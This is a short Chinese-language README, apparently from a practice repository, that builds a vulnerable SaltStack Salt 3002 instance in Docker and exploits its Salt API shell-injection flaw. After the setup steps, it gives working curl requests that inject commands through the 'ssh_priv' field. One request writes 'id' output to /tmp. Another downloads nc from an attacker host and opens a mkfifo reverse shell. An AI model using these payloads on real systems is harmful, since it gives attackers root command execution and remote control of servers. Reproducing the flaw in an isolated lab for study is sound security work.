漏洞说明:在 SaltStack Salt 至 3002 版本中发现了一个问题。当 SSH 客户端启用时,向 Salt API 发送特制的 Web 请求可能导致 shell 注入。关于此漏洞的详细信息可在此处找到:
为了练习和学习目的,我决定创建一个存在漏洞的实例并利用它。
存在漏洞的版本:https://github.com/saltstack/salt/releases/tag/v3002 测试于 Ubuntu 20.04.03
使用 Dockerfile 在 Docker 中创建一个存在漏洞的实例。
如果想在 Ubuntu 虚拟机上创建存在漏洞的实例,请运行 salt_setup.sh。
docker build -t salt-image .
docker run -p4506:4506 -p4505:4505 -p8000:8000 -it salt-image:latest

curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

反弹 shell
root@kali:~# curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/wget http://$attacker_ip/nc -O /root/nc; chmod +x /root/nc; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/root/nc $attacker_ip $listener_port >/tmp/f #"}'
